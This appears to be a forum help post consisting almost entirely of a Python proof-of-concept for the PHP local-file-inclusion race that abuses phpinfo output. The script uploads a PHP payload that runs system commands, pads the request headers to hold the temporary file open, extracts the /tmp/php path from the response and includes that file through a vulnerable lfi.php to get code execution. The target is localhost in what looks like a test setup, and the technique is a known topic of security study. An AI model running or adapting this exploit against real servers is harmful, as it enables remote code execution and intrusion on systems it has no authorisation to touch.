[HELP]Advanced LFI Race Condition PoC (python)

Code
#!/usr/bin/python3



import socket

import hashlib

import time



import random

import string

import re

import requests





host = "localhost"

port = 80

# path = "/lfi_test/tmp_exploit/lfi.php?page=lfi.php"

# path = "/lfi_test/tmp_exploit/lfi.php"

path = "/lfi_test/tmp_exploit/phpinfo.php"



filename = "name.php"

fileID = hashlib.md5(filename.encode()).hexdigest()



PHP_PAYLOAD = """<?php

system("uptime");

system("pwd && ls -lah");

?>

"""



PADDING = "A"*8000

REQUEST_HEADER = """XMETHODX XPATHX HTTP/1.1

Host: XHOSTX

User-Agent: %s

Accept-Encoding: UTF-8, %s

Accept: %s

Connection: keep-alive

Content-Length: XLENGHTX

Content-Type: multipart/form-data; boundary=XFILEIDX



""" % (PADDING, PADDING, PADDING)



REQUEST_BODY_TEMPLATE = """--XFILEIDX

Content-Disposition: form-data; name="XRANDOMNAMEX"; filename="XFILENAMEX"



XPHPAYLOADX

"""



REQUEST_BODY = ''

for i in range(20):

   REQUEST_BODY += REQUEST_BODY_TEMPLATE.replace('\n', '\r\n').replace('XFILEIDX', fileID).replace('XFILENAMEX', filename).replace('XPHPAYLOADX', PHP_PAYLOAD).replace('XRANDOMNAMEX', ''.join(random.choice(string.ascii_lowercase) for _ in range(8)))



REQUEST_BODY += "--XFILEIDX--".replace('XFILEIDX', fileID)



# REQUEST_BODY = REQUEST_BODY.replace('\n', '\r\n').replace('XFILEIDX', fileID).replace('XFILENAMEX', filename).replace('XPHPAYLOADX', PHP_PAYLOAD)

REQUEST_HEADER = REQUEST_HEADER.replace('\n', '\r\n').replace('XMETHODX', 'POST').replace('XPATHX', path).replace('XHOSTX', host).replace('XFILEIDX', fileID).replace('XFILENAMEX', filename).replace('XLENGHTX', str(len(REQUEST_BODY)))



REQUEST = REQUEST_HEADER + REQUEST_BODY



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

s.settimeout(1)



# print("Request:\n%s" % REQUEST)



s.send(REQUEST.encode())

"""

s.send(REQUEST_HEADER.encode())



for bt in REQUEST_BODY.encode():

   s.send(bytes([bt]))

   # time.sleep(0.01)

# s.send(REQUEST_BODY.encode())

"""



while 1:

   try:

       data = s.recv(1024)

   except socket.timeout:

       print("Timeout, break!")

       break



   if not data:

       print("No more data")

       break



   # print(data.decode('utf-8', errors='ignore'))

   data = data.decode('utf-8', errors='ignore')

   # print(data)



   payload_path = re.findall('\/tmp\/php[0-9A-Za-z]{6}', data)

   if payload_path:

       print(payload_path)

       r = requests.get('http://localhost/lfi_test/tmp_exploit/lfi.php?page=%s' % (payload_path[0]))

       print(r.text)

       break

   # """





s.close()